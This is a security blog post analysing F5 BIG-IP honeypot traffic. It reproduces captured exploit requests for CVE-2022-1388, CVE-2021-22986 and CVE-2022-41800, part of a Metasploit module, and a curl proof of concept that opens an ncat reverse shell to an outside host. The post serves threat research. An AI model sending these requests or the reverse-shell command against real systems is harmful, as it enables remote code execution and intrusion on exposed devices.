Since it’s a day that ends in “y”, rumors of a currently-unknown F5 BIG-IP 0-day for sale are floating around the internet. I don’t know if it’s true or not, but at GreyNoise we have a unique perspective that others don’t. But, this post won’t be about the 0-day, if such a thing even exists; it’s about something less exciting (but more funny)!
As discussed in a recent Grimoire post by h0wdy, we’re ramping up our use of high-interaction honeypots (or, in some cases, shallow-but-plausible honeypots). I created a very simple clone of the F5 BIG-IP management port, jusssssst enough to look legit enough to be plausible on either the web UI or REST interface:
$ curl -i 'http://10.0.0.44/mgmt/shared/authn/login'
HTTP/1.1 401 Unauthorized
Date: Wed, 13 Dec 2023 18:17:15 GMT
Content-Type: application/json
Content-Length: 258
Connection: keep-alive
[...]
{"code":401,"message":"Authorization failed: no user authentication header or token detected. " [...], "restOperationId":12552635,"kind":":resterrorresponse"}
I deployed that, waited a few days, and checked what I was sent.
Initial PCAP analysis
I ran the honeypot for a couple weeks, enough time to get some interesting traffic. Then I grabbed the PCAP files from our sensor and used tshark
to pull out all the unique URLs I saw (with a bit of post-processing to remove IP address information):
$ for i in *.pcap; do tshark -r "$i" -T fields -e http.request.full_uri; done | grep -E '(mgmt|tmui)' | sort | uniq -c | sort -n
352 http://<IP>/tmui/login.jsp
25 http://<IP>/tmui/tmui/login/expired_password/app/index.html
25 http://<IP>/mgmt/shared/authn/login
18 http://<IP>/tmui/login.jsp?XDEBUG_SESSION_START=phpstorm
17 http://<IP>/mgmt/tm/util/bash
4 http://localhost/mgmt/tm/util/bash
4 http://<IP>/mgmt/tm/auth/user/75a32
3 http://<IP>/mgmt/tm/auth/user/Y73wZ
2 http://<IP>/tmui/tmui/login/welcome.jsp
2 http://<IP>/mgmt/tm/auth/user/BwHkC
2 http://<IP>/mgmt/shared/iapp/rpm-spec-creator
1 http://<IP>/tmui/tmui/login/images/logo_f5.png
1 http://<IP>/tmui/tmui/login/images/logo_f5_new.png
1 http://<IP>/tmui/login.jsp/xmlrpc.php?rsd
1 http://<IP>/tmui/login.jsp/wp/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/wp1/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/wordpress/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/web/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/test/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/site/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/shop/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/feed/
1 http://<IP>/tmui/login.jsp/cms/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/blog/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/2021/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/2020/wp-includes/wlwmanifest.xml
1 http://<IP>/tmui/login.jsp/2019/wp-includes/wlwmanifest.xml
1 http://<IP>/mgmt/tm/auth/user/user978
1 http://<IP>/mgmt/tm/auth/user/user919
1 http://<IP>/mgmt/tm/auth/user/So0hT
That seems promising! We can pretty much eliminate the .png
/ .jsp
/ .html
stuff - and definitely the Wordpress stuff (love you, Wordpress!); that’s just bots being bots. Let’s pare down the list a bit to what is plausibly interesting:
25 https://<IP>/mgmt/shared/authn/login
17 https://<IP>/mgmt/tm/util/bash
4 https://<IP>/mgmt/tm/auth/user/75a32
2 https://<IP>/mgmt/shared/iapp/rpm-spec-creator
We’ll look at three of those - no idea what the /auth/user
thing is, but it didn’t really seem like anything exciting.
Login page
Let’s use tshark
to pull out all the POST
requests going to the /login
endpoint in all the *.pcap
files:
$ for i in *.pcap; do tshark -r "$i" -Y 'http.request.uri == "/mgmt/shared/authn/login"' -T fields -e http.file_data; done | sort | uniq
{"bigipAuthCookie": "", "username": "admin", "loginReference": {"link": "/shared/gossip"}, "userReference": {"link": "https://localhost/mgmt/shared/authz/users/admin"}}
{"username":"75a32", "password":"k9NyQs2yo4st"}\r\n
{"username":"75a32", "password":"KkOdw9BCBsoo2H"}\r\n
{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
{"username":"BwHkC", "password":"aJ4auuxhzHLe5L"}\r\n
{"username":"BwHkC", "password":"AvRmpsfKiyIt"}\r\n
{"username": "nikto", "password": "iYs2MhvIE9XxCLc"}
username=nikto&password=iYs2MhvIE9XxCLc
{"username":"So0hT", "password":"YfcyRlEV0wg03P"}\r\n
{"username": "user123", "password": "password123"}
{"username":"Y73wZ", "password":"GEz0kS1FX1yXWD"}\r\n
Many of those appear to be really basic brute-force attacks - user123
/ password123
for example. Also, seemingly random usernames/passwords? Since my honeypot doesn’t return correct login responses, the tools probably aren’t trying to bruteforce too hard - they likely try once then fail and move on. Hopefully those usernames/passwords don’t actually work (but if your name is “So0hT” and your password is “YfcyRlEV0wg03P”, you might want to change it!)
Two of the attempts are actually somewhat interesting:
{"bigipAuthCookie": "", "username": "admin", "loginReference": {"link": "/shared/gossip"}, "userReference": {"link": "https://localhost/mgmt/shared/authz/users/admin"}}
{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
I wasn’t familiar with this vulnerability, but those appear to be attempts to exploit CVE-2021-22986 - an SSRF issue in the authentication parser. But that’s not an 0-day, so let’s move on and look at other traffic!
/mgmt/tm/util/bash
- run commands
A somewhat more interesting endpoint is /mgmt/tm/util/bash
. I recognized it as a typical target for auth-bypass issues such as CVE-2022-1388. It’s a REST API endpoint that literally just runs commands.
Here are some of the hits to that endpoint, as output by tshark
, including the Authorization:
header:
$ for i in *.pcap; do tshark -r "$i" -Y 'http.request.uri == "/mgmt/tm/util/bash"' -T fields -e http.request.uri -e http.authorization -e http.file_data; done | sort | uniq
/mgmt/tm/util/bash Basic YWRtaW46 {"command":"run","utilCmdArgs":"-c echo 2ZTpodfjQaiDohmrZXHAHumUCX6"}\r\n
/mgmt/tm/util/bash Basic YWRtaW46 {"command": "run", "utilCmdArgs": "-c 'echo smxrdj6mojfar8r2'"}
/mgmt/tm/util/bash Basic YWRtaW46 {"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyB1bGVhdGF0RWZOTnpE | base64 -d)'"}
/mgmt/tm/util/bash Basic YWRtaW46 {"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyBFTWxmTWNJbnd5eEhF | base64 -d)'"}
/mgmt/tm/util/bash Basic YWRtaW46 {"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyBLSUFQVVVKQVNiV1JU | base64 -d)'"}
/mgmt/tm/util/bash Basic YWRtaW46 {"command": "run", "utilCmdArgs": "-c id"}
/mgmt/tm/util/bash {"command": "run", "utilCmdArgs": "-c \"echo gqfzx36qkeuvxpmz\""}
/mgmt/tm/util/bash {"command":"run","utilCmdArgs":"-c id"}\r\n
The majority of those authenticate with the Authorization:
header Basic YWRtaW46
, which decodes to admin:
(aka, username “admin”, blank password). That’s actually part of the exploit for CVE-2022-1388, which requires an Authorization:
header with just a username. Here’s a full example of an exploit attempt that’s likely using the Metasploit check
method:
POST /mgmt/tm/util/bash HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0
Authorization: Basic YWRtaW46
Host: localhost
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: blxkla
Content-Type: application/json
Content-Length: 88
{"command":"run","utilCmdArgs":"-c 'eval $(echo ZWNobyBLSUFQVVVKQVNiV1JU | base64 -d)'"}
That’s straight from the Metasploit module linked above - both Host: localhost
and Authorization: Basic YWRtaW46
is what you’d expect to see in a real CVE-2022-1388 exploit attempt.
The other requests I see to that endpoint are funnier; they set an authentication token, but not a real one:
POST /mgmt/tm/util/bash HTTP/1.1
Connection: close
Content-Length: 41
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Content-Type: application/json
X-F5-Auth-Token: {{token}}
Accept-Encoding: gzip
{"command":"run","utilCmdArgs":"-c id"}
They literally use {token}
- not really sure what’s going on there. Bad tooling? :)
But what I really want to talk about is the rpm-spec-creator
endpoint!
rpm-spec-creator
- CVE-2022-41800
Over the period that I ran this honeypot, I saw two instances of somebody trying to hit the /mgmt/shared/iapp/rpm-spec-creator
endpoint. That caught my eye in particular, because it’s a vulnerability that I found and reported at my previous role! I even wrote a Metasploit module that implements the attack nicely!
It’s important to note that CVE-2022-41800 is authenticated remote code execution. Which means it behaves pretty much the same as the /bash
endpoint above, only by accident. That means that you need to either use an auth bypass vulnerability (such as CVE-2022-1388) or a valid token (not, for example, {token}
).
Here is one of the exploitation attempts from my logs:
POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
Connection: keep-alive, X-F5-Auth-Token
Content-Length: 249
User-Agent: Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1
Accept-Encoding: gzip, deflate
Accept: */*
Content-type: application/json
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Host: localhost
{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nsh -c 'echo kl7l 2>&1' > /var/iapps/www/a.txt;sh -c 'echo sdbiivzx 2>&1' >> /var/iapps/www/a.txt", "summary": "test9"}}
When I saw that, I was confused - I often use test
-like placeholder strings when I’m working on a vulnerability, but surely I didn’t use test
, test6
, test7
, etc in my exploit, did I?
Cracking open the Metasploit module, I can confirm that nope, I didn’t - I randomized everything to make it harder for, well, people like me:
= rand_text_alphanumeric(5..10)
name = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}"
release
'Creating an .rpmspec file on the target...')
vprint_status(
= send_request_cgi({
result 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'),
'ctype' => 'application/json',
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'data' => {
'specFileData' => {
'name' => name,
'srcBasePath' => '/tmp',
'version' => version,
'release' => release,
# This is the injection - add newlines then a '%check' section
'description' => "\n\n%check\n#{payload.encoded}\n",
'summary' => rand_text_alphanumeric(5..10)
}
}.to_json
})
So where’d they get their payload from?
In my technical write-up, I actually did use those fields to demonstrate the issue:
$ curl -sk -uadmin:Password1 -H "Content-Type: application/json" -X POST https://10.0.0.162/mgmt/shared/iapp/rpm-spec-creator --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nncat -e /bin/bash 10.0.0.179 4444", "summary": "test9"}}'
Which means that whoever is scanning for CVE-2022-41800 is using my PoC demonstration, adapted from my blog, not the cleaned-up / production-ized exploit I put so much work into.
So anyways: I beseech you, attackers: if you’re going to spray my exploits across the whole internet, use the real exploit and not the crappy demonstration code!! Seriously, you’re making me look bad. :P
Thanks for listening!